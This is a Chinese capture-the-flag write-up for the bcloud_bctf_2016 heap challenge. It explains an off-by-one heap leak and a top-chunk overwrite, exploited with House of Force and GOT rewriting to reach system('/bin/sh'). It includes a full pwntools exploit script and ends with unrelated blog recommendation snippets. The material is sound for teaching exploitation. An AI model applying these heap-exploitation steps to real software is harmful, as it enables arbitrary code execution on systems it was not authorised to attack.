bcloud_bctf_2016
bcloud_bctf_2016
总结
根据本题,学习与收获有:
house of force
不需要保证top chunk
的size
域是合法的,但是house of orange
需要保证size
域合法,因为后一种利用方式会把top chunk
放在unsorted bin
,会有chunk size
的检查。house of force
一般需要泄露出heap
地址,并且需要能改写top chunk
的size
域,还要能分配任意大小的内存,总的来说,条件还是很多的。可以直接分配到got
表附近,但是这样会破坏一些got
表的内容,也可分配到堆指针数组,一般在bss
或者data
段。strcpy
会一直拷贝源字符串,直到遇到\x0a
或者\x00
字符。并且在拷贝结束后,尾部添加一个\x00
字符,很多off by one
的题目就是基于此。
题目分析
题目的运行环境是ubuntu 16
,使用libc-2.23.so
。
checksec
注意:arch
为i386-32-little
。
函数分析
很明显,这又是一个菜单题。首先来看main
函数:
main
在进入while
循环之前,首先调用了welcome
函数引用与参考[1],然后再去执行循环体。继续来看一下welcome
中有什么操作。
welcome
这里面调了两个函数,继续分析
get_name
这里面操作为:
- 向栈变量
s
写入0x40
大小的数据,有一个字节的溢出 - 申请内存,
malloc(0x40)
,得到的chunk
大小为0x48
- 调用
strcpy
,把s
的数据拷贝到刚刚申请的chunk
的用户内存区域。
这里存在一个漏洞点,越界拷贝了堆地址,在后面的漏洞点中会有分析。
顺便放一下read_off_by_one
函数和put_info
函数:
read_off_by_one:
put_info:
get_org_host
这里涉及到两次向栈变量上写数据,并且两次申请堆内存,两次调用strcpy
接口。这里存在着溢出漏洞,后续漏洞点中会进一步分析。
menu
new_note
此住需要注意的点有:
ptr_array
里面最多填满10
个地址- 实际申请的
chunk
的大小是size + 4
,能写的大小却是size
,基本上不能使用off by one
show_note
edit_note
从ptr_array
数组和ptr_size
数组中取出存储的地址和大小,并重新获取用户输入并写入数据。
del_note
释放指针指向的内存后直接将指针置为0
漏洞点
一开始看这个程序的时候,一直把目光对准了while
循环体里面,几个关于note
的函数,因为一般情况下,漏洞点会出现在这些函数里面,事实证明,惯性思维害死人。找了半天,啥洞也没找到,最后把目光聚焦在welcome
里面的两个函数,才发现了利用点。接下来,详细讲一讲漏洞点。
漏洞点1:get_name泄露堆地址
get_name:
这里画一下栈内存与堆内存的变化:
填充内容前:
填充内容后:
因此,当填慢0x40
个可见字符后,调用put_info
打印内容的时候会把上面的chunk
的地址给打印出来。
漏洞点2:get_org_host修改top chunk的size域
get_org_host函数:
填充前:
往栈变量s
和p
写了数据,并分配内存后:
执行两次strcpy
后:
可以看到top chunk
的size
域被更改了。
利用思路
知识点
- 本题主要使用House of Force Attack,注意,这个攻击方法在
2.23、2.27
版本的libc
是奏效的,在libc-2.29.so
加了top chunk
的size
域合法性的校验。 - 计算大小的时候,可以就直接给
malloc
传一个负数,会自动转化为正整数的。 - 可以在调试过程中确定要分配的那个大小,计算得到的
size
可能会有一些偏移。
利用过程
利用步骤:
- 在
get_name
接口中,输入0x40 * 'a'
,泄露出堆地址 - 通过
get_org_host
覆盖top chunk
的size
,修改为0xffffffff
。 - 利用
house of force
分配到ptr_array
,即地址为0x0x804b120
。 - 连续分配4个用户大小为
0x44
大小的chunk A、B、C、D
。那么,编辑chunk A
的时候,就能直接修改ptr_array
数组元素的地址。引用与参考[2]。 - 调用
edit_note
,编辑chunk A
,将ptr_array[2]
设置为free@got
,将ptr_array[3]
设置为printf@got
。 - 调用
edit_note
,编辑ptr_array[2]
的内容为puts@plt
,就是将free@got
修改为了puts@plt
地址。 - 调用
del_note
,去释放ptr_array[3]
,实际上调用的是puts
打印出来了printf
的地址。 - 再次调用
edit_note
,编辑chunk A
,将ptr_array[0]
设置为0x804b130
,ptr_array[2]
设置为free@got
,将ptr_array[4]
写为/bin/sh
- 调用
edit_note
,将free@got
修改为了system
地址 - 调用
del_note
,释放ptr_array[0]
,即可getshell
EXP
调试过程
定义好函数:
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
执行get_name
,泄露heap
地址:
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
执行get_org_host
,修改top chunk
的size
为0xffffffff
:
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
计算出top chunk
的地址,分配到0x804b120
:
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
连续分配四块chunk
,修改free@got
的内容为puts@plt
,泄露出libc
的地址:
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
计算出system
地址,修改free@got
为system
函数的地址,并准备好/bin/sh
:
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
释放带有/bin/sh
的chunk
,即可getshell
:
del_note(0)
完整exp
from pwn import *
context.update(arch='i386', os='linux')
sh = process('./bcloud_bctf_2016')
LOG_ADDR = lambda s, i:log.info('{} ===> {}'.format(s, i))
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
if all_parsed_args['debug_enable']:
offset = 0xe8d0 # 0x10470
else:
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
LOG_ADDR('libc_base', libc_base)
offset = libc.dump('printf') - libc.dump('system')
LOG_ADDR('offset', offset)
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
del_note(0)
sh.interactive()
引用与参考
以下为引用与参考,可能以脚注的形式呈现!
[1]:本文的函数均已重命名,原二进制文件不带符号信息
[2]:其实这里可以直接去控制ptr_size
数组,一直到ptr_array
,这样还可以控制size
,分配一个chunk
就够操作了。
bcloud_bctf_2016的更多相关文章
- bcloud_bctf_2016(house of force)
例行检查我就不放了,该程序是32位的程序 将程序放入ida中 进行代码审计 首先这这里有一个off by null 可以通过这里泄露出来第一个chunk的地址信息 这里也有同样的问题,我看ha1vk师 ...
随机推荐
- Spring Boot + MyBatis 多模块项目搭建教程
一.前言 1.开发工具及系统环境 IDE:IntelliJ IDEA 2020.2.2 系统环境:Windows 2.项目目录结构 biz层:业务逻辑层 dao层:数据持久层 web层:请求处理层 二 ...
- [Aizu1410]Draw in Straight Lines
注意到当操作确定后,显然操作顺序总是涂黑色的1操作->涂白色的1操作->2操作 用$b/w_{r/c}(i,j)$表示$(i,j)$是否被黑色/白色 横着/竖着 涂过(1表示涂过,0表示没 ...
- [noi1779]D
先离散,然后将黑的看成1,白的看成-1,对整个序列差分,所有区间建为$(l,r+1)$的无向边,并标上-1和1,每一个点的前缀和即为该点的值 考虑什么情况下能够使得所有点都是0:当且仅当每一个点的度数 ...
- 测试平台系列(83) 前置条件支持Redis语句
大家好~我是米洛! 我正在从0到1打造一个开源的接口测试平台, 也在编写一套与之对应的完整教程,希望大家多多支持. 欢迎关注我的公众号测试开发坑货,获取最新文章教程! 回顾 上节我们打了个野,解决了一 ...
- uniapp增加自定义埋点功能
起因 首先来说,uniapp其实是自带系统埋点统计功能的.基本也算是面面俱到. 但是一些未知原因,貌似数据有所丢失,再加上没有一些重要的定制化功能,以及最重要的数据安全方面的考虑,还是决定接入公司的埋 ...
- [省选联考 2021 A/B 卷] 卡牌游戏
垃圾福建垫底选手来看看这题. 大家怎么都写带 \(log\) 的. 我来说一个线性做法好了. 那么我们考虑枚举 \(k\) 作为翻转完的最小值. 那么构造出一个满足条件的操作,我们在 \(a_i\) ...
- 根据VCF构建进化树
VCF2Dis,是一款计算根据vcf文件计算距离矩阵的小工具 1 安装 下载后 tar -zxvf VCF2DisXXX.tar.gz cd VCF2DisXXX make # 添加环境变量即可 2 ...
- MybatisPlus使用Wrapper实现查询功能
Wrapper---条件查询器 :使用它可以实现很多复杂的查询 几个案例 环境: 参照博客:MybatisPlus入门程序 1.条件查询 1.1 查询name不为空的用户,并且邮箱不为空的用户,年龄大 ...
- (亿级流量)分布式防重复提交token设计
大型互联网项目中,很多流量都达到亿级.同一时间很多的人在使用,而每个用户提交表单的时候都可能会出现重复点击的情况,此时如果不做好控制,那么系统将会产生很多的数据重复的问题.怎样去设计一个高可用的防重复 ...
- 学习java的第二十天
一.今日收获 1.java完全学习手册第三章算法的3.2排序,比较了跟c语言排序上的不同 2.观看哔哩哔哩上的教学视频 二.今日问题 1.快速排序法的运行调试多次 2.哔哩哔哩教学视频的一些术语不太理 ...